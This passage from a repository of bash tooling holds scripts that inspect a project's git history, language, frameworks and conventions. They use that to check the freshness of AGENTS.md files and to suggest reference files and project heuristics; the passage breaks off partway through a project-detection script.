      
      # Analyze release tagging
      analyze_releases() {
          local tags
          tags=$(git tag -l 2>/dev/null | tail -20 || echo "")
      
          if [ -z "$tags" ]; then
              echo '{"pattern": "none", "total_tags": 0}'
              return
          fi
      
          local total_tags
          total_tags=$(echo "$tags" | wc -l)
      
          # Check for semver pattern (v1.2.3 or 1.2.3)
          local semver_count
          semver_count=$(echo "$tags" | grep -cE '^v?[0-9]+\.[0-9]+\.[0-9]+' 2>/dev/null || echo "0")
      
          # Check for calver pattern (2024.01.15 or similar)
          local calver_count
          calver_count=$(echo "$tags" | grep -cE '^[0-9]{4}\.[0-9]{2}' 2>/dev/null || echo "0")
      
          local pattern="custom"
          if [ "$semver_count" -gt $((total_tags / 2)) ]; then
              pattern="semver"
          elif [ "$calver_count" -gt $((total_tags / 2)) ]; then
              pattern="calver"
          fi
      
          # Check for v prefix
          local has_v_prefix
          has_v_prefix=$([[ $(echo "$tags" | grep -cE '^v' || echo "0") -gt $((total_tags / 2)) ]] && echo "true" || echo "false")
      
          # Get latest tag
          local latest_tag
          latest_tag=$(git describe --tags --abbrev=0 2>/dev/null || echo "")
      
          jq -n \
              --arg pattern "$pattern" \
              --argjson has_v_prefix "$has_v_prefix" \
              --arg latest "$latest_tag" \
              --arg total "$total_tags" \
              --arg semver "$semver_count" \
              '{
                  pattern: $pattern,
                  uses_v_prefix: $has_v_prefix,
                  latest_tag: $latest,
                  stats: {
                      total_tags: ($total | tonumber),
                      semver_tags: ($semver | tonumber)
                  }
              }'
      }
      
      # Analyze default branch
      analyze_default_branch() {
          local default_branch
          default_branch=$(git symbolic-ref refs/remotes/origin/HEAD 2>/dev/null | sed 's@^refs/remotes/origin/@@' || echo "")
      
          if [ -z "$default_branch" ]; then
              # Try to detect from common names
              if git show-ref --verify --quiet refs/heads/main 2>/dev/null; then
                  default_branch="main"
              elif git show-ref --verify --quiet refs/heads/master 2>/dev/null; then
                  default_branch="master"
              fi
          fi
      
          jq -n --arg branch "$default_branch" '{default_branch: $branch}'
      }
      
      # Run all analyses
      COMMIT_CONVENTION=$(analyze_commit_convention)
      BRANCH_NAMING=$(analyze_branch_naming)
      MERGE_STRATEGY=$(analyze_merge_strategy)
      RELEASES=$(analyze_releases)
      DEFAULT_BRANCH=$(analyze_default_branch)
      
      # Build final JSON output
      jq -n \
          --argjson commits "$COMMIT_CONVENTION" \
          --argjson branches "$BRANCH_NAMING" \
          --argjson merge "$MERGE_STRATEGY" \
          --argjson releases "$RELEASES" \
          --argjson default "$DEFAULT_BRANCH" \
          '{
              commit_convention: $commits,
              branch_naming: $branches,
              merge_strategy: $merge,
              releases: $releases,
              default_branch: $default.default_branch
          }'
      
    • check-freshness.sh 8.3 KB
      #!/usr/bin/env bash
      # Check if AGENTS.md files are up to date with recent git commits
      # Compares the "Last updated" date in each AGENTS.md with commits affecting that scope
      set -euo pipefail
      
      PROJECT_DIR="${1:-.}"
      cd "$PROJECT_DIR"
      
      # Options
      VERBOSE=false
      JSON=false
      DAYS_THRESHOLD=7  # Warn if commits are older than this many days after last update (used below)
      
      # Parse flags
      while [[ $# -gt 0 ]]; do
          case $1 in
              --verbose|-v)
                  VERBOSE=true
                  shift
                  ;;
              --json)
                  JSON=true
                  shift
                  ;;
              --threshold=*)
                  # shellcheck disable=SC2034  # Reserved for future threshold-based staleness check
                  DAYS_THRESHOLD="${1#*=}"
                  shift
                  ;;
              --help|-h)
                  cat <<EOF
      Usage: check-freshness.sh [PROJECT_DIR] [OPTIONS]
      
      Check if AGENTS.md files are up to date with recent git commits.
      
      Options:
        --verbose, -v         Show detailed output including commit lists
        --json                Emit machine-readable JSON on stdout (human output suppressed)
        --threshold=DAYS      Days after last update to consider stale (default: 7)
        --help, -h            Show this help message
      
      Examples:
        check-freshness.sh .                     # Check all AGENTS.md freshness
        check-freshness.sh . --verbose           # Show commit details
        check-freshness.sh . --threshold=14      # Use 14-day threshold
      EOF
                  exit 0
                  ;;
              *)
                  PROJECT_DIR="$1"
                  shift
                  ;;
          esac
      done
      
      # Ensure we're in a git repository
      if ! git rev-parse --git-dir > /dev/null 2>&1; then
          echo "Error: Not a git repository"
          exit 1
      fi
      
      # In JSON mode, route all human-readable output to /dev/null and reserve the
      # original stdout (fd 3) for the single JSON document emitted at the end. This
      # keeps --json strictly additive: the default (no-flag) path is untouched.
      JSON_FILES=()
      if [[ "$JSON" = true ]]; then
          exec 3>&1 1>/dev/null
      fi
      
      STALE_COUNT=0
      FRESH_COUNT=0
      UNKNOWN_COUNT=0
      
      log() {
          if [ "$VERBOSE" = true ]; then
              echo "[INFO] $*" >&2
          fi
      }
      
      # Extract the "Last updated" date from AGENTS.md header
      # Format: <!-- Managed by agent: ... Last updated: YYYY-MM-DD -->
      extract_last_updated() {
          local file="$1"
          local date_str
      
          # Try to extract date from header comment
          date_str=$(grep -o 'Last updated: [0-9]\{4\}-[0-9]\{2\}-[0-9]\{2\}' "$file" 2>/dev/null | head -1 | sed 's/Last updated: //')
      
          if [ -n "$date_str" ]; then
              echo "$date_str"
              return 0
          fi
      
          # Try alternative formats
          # "Created: YYYY-MM-DD" or "Updated: YYYY-MM-DD"
          date_str=$(grep -oE '(Created|Updated): [0-9]{4}-[0-9]{2}-[0-9]{2}' "$file" 2>/dev/null | head -1 | grep -oE '[0-9]{4}-[0-9]{2}-[0-9]{2}')
      
          if [ -n "$date_str" ]; then
              echo "$date_str"
              return 0
          fi
      
          return 1
      }
      
      # Get the scope directory for an AGENTS.md file
      # Root AGENTS.md covers the whole repo, scoped files cover their directory
      get_scope_path() {
          local agents_file="$1"
          local dir
      
          dir=$(dirname "$agents_file")
      
          if [ "$dir" = "." ]; then
              echo "."  # Root covers everything
          else
              echo "$dir"
          fi
      }
      
      # Count commits in a scope since a given date
      count_commits_since() {
          local scope_path="$1"
          local since_date="$2"
          local count
      
          if [ "$scope_path" = "." ]; then
              # Root: check all commits except AGENTS.md files themselves
              count=$(git log --oneline --since="$since_date" -- . ':(exclude)**/AGENTS.md' 2>/dev/null | wc -l)
          else
              # Scoped: check commits in that directory
              count=$(git log --oneline --since="$since_date" -- "$scope_path" ':(exclude)**/AGENTS.md' 2>/dev/null | wc -l)
          fi
      
          echo "$count"
      }
      
      # Get commit summary for a scope since a given date
      get_commits_since() {
          local scope_path="$1"
          local since_date="$2"
      
          if [ "$scope_path" = "." ]; then
              git log --oneline --since="$since_date" -- . ':(exclude)**/AGENTS.md' 2>/dev/null | head -10
          else
              git log --oneline --since="$since_date" -- "$scope_path" ':(exclude)**/AGENTS.md' 2>/dev/null | head -10
          fi
      }
      
      # Get files changed in a scope since a given date
      get_changed_files_since() {
          local scope_path="$1"
          local since_date="$2"
      
          if [ "$scope_path" = "." ]; then
              git log --name-only --pretty=format: --since="$since_date" -- . ':(exclude)**/AGENTS.md' 2>/dev/null | sort -u | grep -v '^$' | head -20
          else
              git log --name-only --pretty=format: --since="$since_date" -- "$scope_path" ':(exclude)**/AGENTS.md' 2>/dev/null | sort -u | grep -v '^$' | head -20
          fi
      }
      
      # Check freshness of a single AGENTS.md file
      check_file_freshness() {
          local agents_file="$1"
          local rel_path="${agents_file#"$PROJECT_DIR"/}"
          local last_updated
          local scope_path
          local commit_count
      
          echo "Checking: $rel_path"
      
          # Extract last updated date
          if ! last_updated=$(extract_last_updated "$agents_file"); then
              echo "  ⚠️  No 'Last updated' date found in header"
              ((UNKNOWN_COUNT++)) || true
              if [[ "$JSON" = true ]]; then
                  JSON_FILES+=("$(jq -nc --arg path "$rel_path" \
                      '{path:$path,status:"unknown",last_updated:null,commits_since:null}')")
              fi
              return 1
          fi
      
          log "  Last updated: $last_updated"
      
          # Get scope path
          scope_path=$(get_scope_path "$agents_file")
          log "  Scope: $scope_path"
      
          # Count commits since last update
          commit_count=$(count_commits_since "$scope_path" "$last_updated")
      
          if [ "$commit_count" -eq 0 ]; then
              echo "  ✅ Up to date (no commits since $last_updated)"
              ((FRESH_COUNT++)) || true
              if [[ "$JSON" = true ]]; then
                  JSON_FILES+=("$(jq -nc --arg path "$rel_path" --arg lu "$last_updated" \
                      '{path:$path,status:"fresh",last_updated:$lu,commits_since:0}')")
              fi
              return 0
          fi
      
          # Check if commits are significant
          echo "  ⚠️  Potentially stale: $commit_count commit(s) since $last_updated"
          ((STALE_COUNT++)) || true
          if [[ "$JSON" = true ]]; then
              JSON_FILES+=("$(jq -nc --arg path "$rel_path" --arg lu "$last_updated" --argjson cs "$commit_count" \
                  '{path:$path,status:"stale",last_updated:$lu,commits_since:$cs}')")
          fi
      
          if [ "$VERBOSE" = true ]; then
              echo "  Recent commits:"
              get_commits_since "$scope_path" "$last_updated" | while read -r line; do
                  echo "    - $line"
              done
      
              echo "  Changed files:"
              get_changed_files_since "$scope_path" "$last_updated" | while read -r line; do
                  echo "    - $line"
              done
          fi
      
          return 1
      }
      
      # Main
      echo "Checking AGENTS.md freshness in: $PROJECT_DIR"
      echo ""
      
      # Find all AGENTS.md files
      AGENTS_FILES=$(find "$PROJECT_DIR" -name "AGENTS.md" -type f 2>/dev/null | sort)
      
      if [ -z "$AGENTS_FILES" ]; then
          echo "No AGENTS.md files found"
          exit 0
      fi
      
      # Check each file.
      # `|| true`: check_file_freshness returns non-zero for stale/unknown files; without
      # this guard `set -e` aborts the loop on the first such file, processing only one
      # file and defeating the summary below (and forcing the validate-structure caller to
      # always warn). Tolerating the non-zero lets every file be counted.
      while read -r file; do
          check_file_freshness "$file" || true
          echo ""
      done <<< "$AGENTS_FILES"
      
      # Emit JSON document (machine-readable) and exit before the human summary.
      if [[ "$JSON" = true ]]; then
          if [[ "${#JSON_FILES[@]}" -eq 0 ]]; then
              files_json='[]'
          else
              files_json=$(printf '%s\n' "${JSON_FILES[@]}" | jq -s '.')
          fi
          jq -nc \
              --argjson files "$files_json" \
              --argjson fresh "$FRESH_COUNT" \
              --argjson stale "$STALE_COUNT" \
              --argjson unknown "$UNKNOWN_COUNT" \
              '{script:"check-freshness",schema:1,summary:{fresh:$fresh,stale:$stale,unknown:$unknown},files:$files}' >&3
          if [[ "$STALE_COUNT" -gt 0 ]]; then exit 1; fi
          exit 0
      fi
      
      # Summary
      echo "=== Freshness Summary ==="
      echo "✅ Up to date: $FRESH_COUNT"
      echo "⚠️  Potentially stale: $STALE_COUNT"
      [ "$UNKNOWN_COUNT" -gt 0 ] && echo "❓ Unknown (no date): $UNKNOWN_COUNT"
      
      if [ "$STALE_COUNT" -gt 0 ]; then
          echo ""
          echo "Recommendation: Review the stale AGENTS.md files and update if needed."
          echo "Use --verbose to see which commits and files have changed."
          exit 1
      fi
      
      exit 0
      
    • detect-golden-samples.sh 5.3 KB
      #!/usr/bin/env bash
      # Detect golden sample files (canonical patterns to follow)
      set -euo pipefail
      
      PROJECT_DIR="${1:-.}"
      cd "$PROJECT_DIR"
      
      # Check if git is available
      if ! git rev-parse --git-dir > /dev/null 2>&1; then
          echo ""
          exit 0
      fi
      
      # Get project language
      PROJECT_INFO=$(bash "$(dirname "$0")/detect-project.sh" "$PROJECT_DIR" 2>/dev/null || echo '{"language":"unknown"}')
      LANGUAGE=$(echo "$PROJECT_INFO" | jq -r '.language')
      
      # Find high-churn files (frequently modified = important)
      get_high_churn_files() {
          git log --name-only --pretty=format: --since="6 months ago" 2>/dev/null | \
              grep -v '^$' | \
              sort | uniq -c | sort -rn | head -20
      }
      
      # Find entrypoint files
      find_entrypoints() {
          case "$LANGUAGE" in
              "go")
                  find . -name "main.go" -type f 2>/dev/null | head -5
                  ;;
              "typescript")
                  for f in src/index.ts src/index.tsx src/main.ts src/main.tsx app/page.tsx pages/index.tsx; do
                      [ -f "$f" ] && echo "$f"
                  done
                  ;;
              "php")
                  for f in public/index.php src/Kernel.php ext_localconf.php; do
                      [ -f "$f" ] && echo "$f"
                  done
                  ;;
              "python")
                  for f in src/main.py main.py app/main.py __main__.py; do
                      [ -f "$f" ] && echo "$f"
                  done
                  ;;
          esac
      }
      
      # Find component/model examples
      find_examples() {
          case "$LANGUAGE" in
              "go")
                  # Find a service or handler file
                  find . -path ./vendor -prune -o -name "*_service.go" -type f -print 2>/dev/null | head -1
                  find . -path ./vendor -prune -o -name "*_handler.go" -type f -print 2>/dev/null | head -1
                  ;;
              "typescript")
                  # Find a component
                  find . -path ./node_modules -prune -o -name "*.tsx" -type f -print 2>/dev/null | \
                      grep -E "(Button|Card|Modal|Form)" | head -1
                  # Find an API route
                  find . -path ./node_modules -prune -o -path "*/api/*" -name "*.ts" -type f -print 2>/dev/null | head -1
                  ;;
              "php")
                  # Find a controller
                  find . -path ./vendor -prune -o -name "*Controller.php" -type f -print 2>/dev/null | head -1
                  # Find a service
                  find . -path ./vendor -prune -o -name "*Service.php" -type f -print 2>/dev/null | head -1
                  ;;
              "python")
                  # Find a service or model
                  find . -path ./.venv -prune -o -name "*_service.py" -type f -print 2>/dev/null | head -1
                  find . -path ./.venv -prune -o -name "models.py" -type f -print 2>/dev/null | head -1
                  ;;
          esac
      }
      
      # Find test examples
      find_test_examples() {
          case "$LANGUAGE" in
              "go")
                  find . -path ./vendor -prune -o -name "*_test.go" -type f -print 2>/dev/null | head -1
                  ;;
              "typescript")
                  find . -path ./node_modules -prune -o -name "*.test.ts" -o -name "*.test.tsx" -type f -print 2>/dev/null | head -1
                  ;;
              "php")
                  find . -path ./vendor -prune -o -name "*Test.php" -type f -print 2>/dev/null | head -1
                  ;;
              "python")
                  find . -path ./.venv -prune -o -name "test_*.py" -type f -print 2>/dev/null | head -1
                  ;;
          esac
      }
      
      # Describe file based on name/path
      describe_file() {
          local file="$1"
          case "$file" in
              *main.go|*main.ts|*main.py|*/index.ts*) echo "Entrypoint" ;;
              *Controller*) echo "Controller" ;;
              *Service*|*_service*) echo "Service" ;;
              *Handler*|*_handler*) echo "Handler" ;;
              *Model*|*models*) echo "Model" ;;
              *Test*|*_test*) echo "Test" ;;
              *Button*|*Card*|*Modal*) echo "Component" ;;
              */api/*) echo "API route" ;;
              *) echo "Reference" ;;
          esac
      }
      
      # Describe key patterns in file
      describe_patterns() {
          local file="$1"
          local patterns=""
      
          if [ -f "$file" ]; then
              # Check for common patterns
              grep -l "interface" "$file" > /dev/null 2>&1 && patterns="$patterns, interface"
              grep -l "async" "$file" > /dev/null 2>&1 && patterns="$patterns, async"
              grep -l "class" "$file" > /dev/null 2>&1 && patterns="$patterns, class"
              grep -l "test\|describe\|it(" "$file" > /dev/null 2>&1 && patterns="$patterns, tests"
              grep -l "func.*error" "$file" > /dev/null 2>&1 && patterns="$patterns, error handling"
          fi
      
          # Remove leading ", "
          echo "${patterns#, }"
      }
      
      # Generate output in table row format
      output=""
      
      # Add entrypoints
      while IFS= read -r file; do
          [ -z "$file" ] && continue
          file="${file#./}"
          desc=$(describe_file "$file")
          patterns=$(describe_patterns "$file")
          [ -n "$patterns" ] && patterns=" ($patterns)"
          output="$output| $desc | \`$file\` | ${patterns:-standard patterns} |\n"
      done < <(find_entrypoints)
      
      # Add examples
      while IFS= read -r file; do
          [ -z "$file" ] && continue
          file="${file#./}"
          desc=$(describe_file "$file")
          patterns=$(describe_patterns "$file")
          [ -n "$patterns" ] && patterns=" ($patterns)"
          output="$output| $desc | \`$file\` | ${patterns:-standard patterns} |\n"
      done < <(find_examples)
      
      # Add test example
      while IFS= read -r file; do
          [ -z "$file" ] && continue
          file="${file#./}"
          output="$output| Test | \`$file\` | test structure |\n"
      done < <(find_test_examples)
      
      # Output (remove empty lines, duplicates)
      echo -e "$output" | sed '/^$/d' | sort -u | head -10
      
    • detect-heuristics.sh 3.2 KB
      #!/usr/bin/env bash
      # Detect project heuristics (When X → Do Y decisions)
      set -euo pipefail
      
      PROJECT_DIR="${1:-.}"
      cd "$PROJECT_DIR"
      
      # Get project language
      PROJECT_INFO=$(bash "$(dirname "$0")/detect-project.sh" "$PROJECT_DIR" 2>/dev/null || echo '{"language":"unknown"}')
      LANGUAGE=$(echo "$PROJECT_INFO" | jq -r '.language')
      
      output=""
      
      # Check for env file patterns
      if [ -f ".env.example" ] || [ -f ".env.sample" ]; then
          output="$output| Adding env var | Add to \`.env.example\` first |\n"
      fi
      
      # Check for TypeScript env types
      if [ -f "src/env.d.ts" ] || [ -f "types/env.d.ts" ]; then
          output="$output| Adding env var | Also update \`types/env.d.ts\` |\n"
      fi
      
      # Check for Next.js App Router
      if [ -d "app" ] && { [ -f "next.config.js" ] || [ -f "next.config.ts" ] || [ -f "next.config.mjs" ]; }; then
          output="$output| Adding new page | Create in \`app/\` (App Router) |\n"
      fi
      
      # Check for old Next.js Pages Router
      if [ -d "pages" ] && [ ! -d "app" ]; then
          output="$output| Adding new page | Create in \`pages/\` directory |\n"
      fi
      
      # Check for state management
      if grep -q "zustand" package.json 2>/dev/null; then
          output="$output| Adding state | Use Zustand store in \`stores/\` |\n"
      elif grep -q "redux" package.json 2>/dev/null; then
          output="$output| Adding state | Use Redux slice pattern |\n"
      elif grep -q "mobx" package.json 2>/dev/null; then
          output="$output| Adding state | Use MobX observable pattern |\n"
      fi
      
      # Check for API directory patterns
      if [ -d "src/api" ] || [ -d "api" ]; then
          api_dir=$([ -d "src/api" ] && echo "src/api" || echo "api")
          output="$output| Adding API endpoint | Create in \`$api_dir/\` |\n"
      fi
      
      # Check for test patterns
      if [ -d "__tests__" ]; then
          output="$output| Adding tests | Create in \`__tests__/\` directory |\n"
      elif [ -d "tests" ] || [ -d "test" ]; then
          test_dir=$([ -d "tests" ] && echo "tests" || echo "test")
          output="$output| Adding tests | Create in \`$test_dir/\` directory |\n"
      fi
      
      # Check for TYPO3
      if [ -f "ext_emconf.php" ]; then
          output="$output| Adding controller | Create in \`Classes/Controller/\` |\n"
          output="$output| Adding service | Create in \`Classes/Service/\` |\n"
      fi
      
      # Check for Makefile
      if [ -f "Makefile" ]; then
          output="$output| Running tasks | Check \`make help\` for available commands |\n"
      fi
      
      # Check for Docker
      if [ -f "docker-compose.yml" ] || [ -f "docker-compose.yaml" ] || [ -f "compose.yml" ]; then
          output="$output| Running locally | Use \`docker compose up\` |\n"
      fi
      
      # Check for DDEV
      if [ -d ".ddev" ]; then
          output="$output| Running locally | Use \`ddev start\` then \`ddev ssh\` |\n"
      fi
      
      # Language-specific heuristics
      case "$LANGUAGE" in
          "go")
              output="$output| Adding package | Internal → \`internal/\`, Public → \`pkg/\` |\n"
              [ -f "go.work" ] && output="$output| Multi-module | Use \`go.work\` for workspace |\n"
              ;;
          "php")
              output="$output| Adding class | Follow PSR-4 in \`Classes/\` or \`src/\` |\n"
              ;;
          "python")
              [ -f "pyproject.toml" ] && output="$output| Adding dependency | Update \`pyproject.toml\` |\n"
              ;;
      esac
      
      # Output (remove empty lines, duplicates, limit to 10)
      echo -e "$output" | sed '/^$/d' | sort -u | head -10
      
    • detect-project.sh 19.5 KB
      #!/usr/bin/env bash
      # Detect project type, language, version, and build tools
      set -euo pipefail
      
      SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
      # shellcheck source-path=SCRIPTDIR
      # shellcheck disable=SC1091  # pre-commit runs shellcheck without -x, so
      # it cannot follow this source however the path is written.
      source "$SCRIPT_DIR/lib/config-root.sh"
      
      PROJECT_DIR="${1:-.}"
      cd "$PROJECT_DIR"
      
      # Initialize variables
      LANGUAGE="unknown"
      VERSION="unknown"
      BUILD_TOOL="unknown"      # Deprecated: use package_manager or task_runner
      PACKAGE_MANAGER="unknown" # Package manager: npm/yarn/pnpm/bun, composer, poetry/uv/pip, go
      TASK_RUNNER="none"        # Task runner: make/just/mage/bazel, or none
      FRAMEWORK="none"
      PROJECT_TYPE="unknown"
      QUALITY_TOOLS=()
      TEST_FRAMEWORK="unknown"
      HAS_DOCKER=false
      CI="none"
      IDE_CONFIGS=()
      AGENT_CONFIGS=()
      STACKS=()                 # Multi-stack detection: (go, php, python, typescript, docker)
      
      # Detect language and version
      detect_language() {
          if [ -f "go.mod" ]; then
              LANGUAGE="go"
              VERSION=$(grep '^go ' go.mod | awk '{print $2}' || echo "unknown")
              BUILD_TOOL="go"
              PACKAGE_MANAGER="go"
              TEST_FRAMEWORK="testing"
      
              # Detect Go project type
              if [ -d "cmd" ]; then
                  PROJECT_TYPE="go-cli"
              elif grep -q "github.com/gofiber/fiber" go.mod 2>/dev/null; then
                  PROJECT_TYPE="go-web-app"
                  FRAMEWORK="fiber"
              elif grep -q "github.com/labstack/echo" go.mod 2>/dev/null; then
                  PROJECT_TYPE="go-web-app"
                  FRAMEWORK="echo"
              elif grep -q "github.com/gin-gonic/gin" go.mod 2>/dev/null; then
                  PROJECT_TYPE="go-web-app"
                  FRAMEWORK="gin"
              else
                  PROJECT_TYPE="go-library"
              fi
      
              # Detect Go quality tools
              { [ -f ".golangci.yml" ] || [ -f ".golangci.yaml" ]; } && QUALITY_TOOLS+=("golangci-lint") || true
              command -v gofmt &>/dev/null && QUALITY_TOOLS+=("gofmt") || true
      
          elif [ -f "composer.json" ]; then
              # Check if this is actually a PHP project:
              # 1. Has PHP version requirement, OR
              # 2. Has PHP source files, OR
              # 3. Has PHP framework dependencies
              local has_php_requirement=false
              local has_php_files=false
              local has_php_deps=false
      
              # Check for PHP version requirement
              if jq -e '.require.php // .["require-dev"].php' composer.json &>/dev/null; then
                  has_php_requirement=true
              fi
      
              # Check for PHP source files (common locations)
              if [[ -d "src" ]] && [[ -n "$(find src -name "*.php" -type f -print -quit 2>/dev/null)" ]]; then
                  has_php_files=true
              elif [[ -d "Classes" ]] && [[ -n "$(find Classes -name "*.php" -type f -print -quit 2>/dev/null)" ]]; then
                  has_php_files=true
              elif [[ -d "lib" ]] && [[ -n "$(find lib -name "*.php" -type f -print -quit 2>/dev/null)" ]]; then
                  has_php_files=true
              elif [ -f "ext_emconf.php" ]; then
                  has_php_files=true
              elif [[ -n "$(find . -maxdepth 2 -name "*.php" -type f -print -quit 2>/dev/null)" ]]; then
                  has_php_files=true
              fi
      
              # Check for PHP framework dependencies
              if jq -e '.require."typo3/cms-core" // .require."laravel/framework" // .require."symfony/framework-bundle" // .require."oro/platform"' composer.json &>/dev/null; then
                  has_php_deps=true
              fi
      
              # Only treat as PHP if we have evidence it's a PHP project
              if [ "$has_php_requirement" = true ] || [ "$has_php_files" = true ] || [ "$has_php_deps" = true ]; then
                  LANGUAGE="php"
                  VERSION=$(jq -r '.require.php // "unknown"' composer.json 2>/dev/null || echo "unknown")
                  BUILD_TOOL="composer"
                  PACKAGE_MANAGER="composer"
              else
                  # composer.json exists but this isn't a PHP project
                  # Continue to check other languages
                  :
              fi
      
              # Detect PHP framework (only if we determined this is PHP)
              if [ "$LANGUAGE" = "php" ]; then
                  # TYPO3 extension detection (ext_emconf.php is definitive)
                  if [ -f "ext_emconf.php" ]; then
                      PROJECT_TYPE="php-typo3-extension"
                      FRAMEWORK="typo3"
                  elif jq -e '.require."typo3/cms-core"' composer.json &>/dev/null; then
                      PROJECT_TYPE="php-typo3"
                      FRAMEWORK="typo3"
                  # Oro detection (OroCommerce, OroPlatform, OroCRM)
                  # Differentiate between full Oro project and standalone bundle
                  elif jq -e '.require."oro/platform"' composer.json &>/dev/null || \
                       jq -e '.require."oro/commerce"' composer.json &>/dev/null || \
                       jq -e '.require."oro/crm"' composer.json &>/dev/null; then
                      FRAMEWORK="oro"
                      # Check if it's a standalone bundle (has type: oro-bundle, or no bin/console)
                      composer_type=$(jq -r '.type // ""' composer.json 2>/dev/null)
                      if [ "$composer_type" = "oro-bundle" ] || [ "$composer_type" = "symfony-bundle" ]; then
                          PROJECT_TYPE="php-oro-bundle"
                      elif [ -f "bin/console" ] || [ -f "public/index.php" ]; then
                          PROJECT_TYPE="php-oro"
                      else
                          # Likely a standalone bundle without explicit type
                          PROJECT_TYPE="php-oro-bundle"
                      fi
                  elif [ -f "config/oro/bundles.yml" ]; then
                      PROJECT_TYPE="php-oro-bundle"
                      FRAMEWORK="oro"
                  elif jq -e '.require."laravel/framework"' composer.json &>/dev/null; then
                      PROJECT_TYPE="php-laravel"
                      FRAMEWORK="laravel"
                  elif jq -e '.require."symfony/symfony"' composer.json &>/dev/null || \
                       jq -e '.require."symfony/framework-bundle"' composer.json &>/dev/null; then
                      PROJECT_TYPE="php-symfony"
                      FRAMEWORK="symfony"
                  else
                      PROJECT_TYPE="php-library"
                  fi
      
                  # Detect PHP quality tools
                  jq -e '.require."phpstan/phpstan" // .["require-dev"]."phpstan/phpstan"' composer.json &>/dev/null && QUALITY_TOOLS+=("phpstan") || true
                  jq -e '.require."friendsofphp/php-cs-fixer" // .["require-dev"]."friendsofphp/php-cs-fixer"' composer.json &>/dev/null && QUALITY_TOOLS+=("php-cs-fixer") || true
                  { [ -f "phpunit.xml" ] || [ -f "phpunit.xml.dist" ]; } && TEST_FRAMEWORK="phpunit" || true
              fi
              # If composer.json exists but it's not a PHP project, fall through to other checks
      
          fi
      
          # Check for package.json (might also exist alongside composer.json)
          if [ "$LANGUAGE" = "unknown" ] && [ -f "package.json" ]; then
              LANGUAGE="typescript"
              VERSION=$(jq -r '.engines.node // "unknown"' package.json 2>/dev/null || echo "unknown")
      
              # Detect package manager from lockfile (workspace-aware, default npm)
              PACKAGE_MANAGER="npm"
              local ws_root
              ws_root=$(find_node_workspace_root "$(pwd)" || true)
              if [ -n "$ws_root" ]; then
                  # Check workspace root for lockfiles
                  [ -f "$ws_root/pnpm-lock.yaml" ] && PACKAGE_MANAGER="pnpm"
                  [ -f "$ws_root/yarn.lock" ] && PACKAGE_MANAGER="yarn"
                  [ -f "$ws_root/bun.lockb" ] && PACKAGE_MANAGER="bun"
                  [ -f "$ws_root/package-lock.json" ] && PACKAGE_MANAGER="npm"
              else
                  # Fallback to local lockfiles
                  [ -f "yarn.lock" ] && PACKAGE_MANAGER="yarn"
                  [ -f "pnpm-lock.yaml" ] && PACKAGE_MANAGER="pnpm"
                  [ -f "bun.lockb" ] && PACKAGE_MANAGER="bun"
              fi
              BUILD_TOOL="$PACKAGE_MANAGER"
      
              # Detect JS/TS framework
              if jq -e '.dependencies."next"' package.json &>/dev/null; then
                  PROJECT_TYPE="typescript-nextjs"
                  FRAMEWORK="next.js"
              elif jq -e '.dependencies."react"' package.json &>/dev/null; then
                  PROJECT_TYPE="typescript-react"
                  FRAMEWORK="react"
              elif jq -e '.dependencies."vue"' package.json &>/dev/null; then
                  PROJECT_TYPE="typescript-vue"
                  FRAMEWORK="vue"
              elif jq -e '.dependencies."express"' package.json &>/dev/null; then
                  PROJECT_TYPE="typescript-node"
                  FRAMEWORK="express"
              else
                  PROJECT_TYPE="typescript-library"
              fi
      
              # Detect quality tools
              jq -e '.devDependencies."eslint"' package.json &>/dev/null && QUALITY_TOOLS+=("eslint") || true
              jq -e '.devDependencies."prettier"' package.json &>/dev/null && QUALITY_TOOLS+=("prettier") || true
              jq -e '.devDependencies."typescript"' package.json &>/dev/null && QUALITY_TOOLS+=("tsc") || true
      
              # Detect test framework
              if jq -e '.devDependencies."jest"' package.json &>/dev/null; then
                  TEST_FRAMEWORK="jest"
              elif jq -e '.devDependencies."vitest"' package.json &>/dev/null; then
                  TEST_FRAMEWORK="vitest"
              fi || true
      
          fi
      
          # Check for pyproject.toml
          if [ "$LANGUAGE" = "unknown" ] && [ -f "pyproject.toml" ]; then
              LANGUAGE="python"
              VERSION=$(grep 'requires-python' pyproject.toml | cut -d'"' -f2 2>/dev/null || echo "unknown")
      
              # Detect Python package manager
              if grep -q '\[tool.poetry\]' pyproject.toml 2>/dev/null; then
                  PACKAGE_MANAGER="poetry"
              elif grep -q '\[tool.uv\]' pyproject.toml 2>/dev/null || [ -f "uv.lock" ]; then
                  PACKAGE_MANAGER="uv"
              elif grep -q '\[tool.hatch\]' pyproject.toml 2>/dev/null; then
                  PACKAGE_MANAGER="hatch"
              else
                  PACKAGE_MANAGER="pip"
              fi
              BUILD_TOOL="$PACKAGE_MANAGER"
      
              # Detect framework
              if grep -q 'django' pyproject.toml 2>/dev/null; then
                  PROJECT_TYPE="python-django"
                  FRAMEWORK="django"
              elif grep -q 'flask' pyproject.toml 2>/dev/null; then
                  PROJECT_TYPE="python-flask"
                  FRAMEWORK="flask"
              elif grep -q 'fastapi' pyproject.toml 2>/dev/null; then
                  PROJECT_TYPE="python-fastapi"
                  FRAMEWORK="fastapi"
              elif [ -d "scripts" ] && [ "$(find scripts -name '*.py' | wc -l)" -gt 3 ]; then
                  PROJECT_TYPE="python-cli"
              else
                  PROJECT_TYPE="python-library"
              fi
      
              # Detect quality tools
              grep -q 'ruff' pyproject.toml 2>/dev/null && QUALITY_TOOLS+=("ruff")
              grep -q 'black' pyproject.toml 2>/dev/null && QUALITY_TOOLS+=("black")
              grep -q 'mypy' pyproject.toml 2>/dev/null && QUALITY_TOOLS+=("mypy")
              grep -q 'pytest' pyproject.toml 2>/dev/null && TEST_FRAMEWORK="pytest"
          fi
      
          # Check for Claude Code plugin/skill repos
          # Can be: plugin-only, skill-only, plugin+skills, or any of these with bash
          if [ "$LANGUAGE" = "unknown" ]; then
              local has_plugin=false
              local has_skills=false
              local skill_count=0
      
              [ -f ".claude-plugin/plugin.json" ] && has_plugin=true
              [ -d "skills" ] && skill_count=$(find skills -maxdepth 2 -name "SKILL.md" -type f 2>/dev/null | wc -l)
              [ "$skill_count" -gt 0 ] && has_skills=true
      
              if [ "$has_plugin" = true ] || [ "$has_skills" = true ]; then
                  FRAMEWORK="claude-code"
                  PACKAGE_MANAGER="none"
      
                  # Determine project type based on combination
                  if [ "$has_plugin" = true ] && [ "$has_skills" = true ]; then
                      if [ "$skill_count" -gt 1 ]; then
                          PROJECT_TYPE="claude-code-plugin-monorepo"
                      else
                          PROJECT_TYPE="claude-code-plugin"
                      fi
                      LANGUAGE="claude-code-plugin"
